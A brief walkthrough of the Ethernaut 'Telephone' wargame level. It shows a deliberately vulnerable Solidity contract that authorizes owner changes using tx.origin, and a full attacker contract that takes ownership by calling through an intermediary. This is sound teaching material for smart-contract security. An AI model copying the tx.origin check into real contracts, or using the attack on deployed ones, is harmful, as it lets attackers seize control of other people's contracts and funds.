Ethernaut Challenge-4 Telephone

Here we are given a smart contract and we need to claim ownership of this smart contract.

The code of the smart contract goes like this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Now the only possible way to claim ownership of this contract is to call the changeOwner function and make sure that the tx.origin is not the same as msg.sender

But what are these terms?

The tx. origin global variable refers to the original external account that started the transaction while msg. sender refers to the immediate account (it could be external or another contract account) that invokes the function. The tx. origin variable will always refer to the external account while msg.sender can refer to a contract account.

Hence what can be done is that another smart contract calls the changeOwner function and this function is called by an external account.

Thereby the code of the second smart contract goes like this:

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;

import 'Ethernaut5.sol';

contract AttackTelephone{

    Telephone public telephone;

    constructor(address _telephoneaddress)
    {
        telephone=Telephone(_telephoneaddress);
    }

    function letsattack() public{
        telephone.changeOwner(msg.sender);
    }
}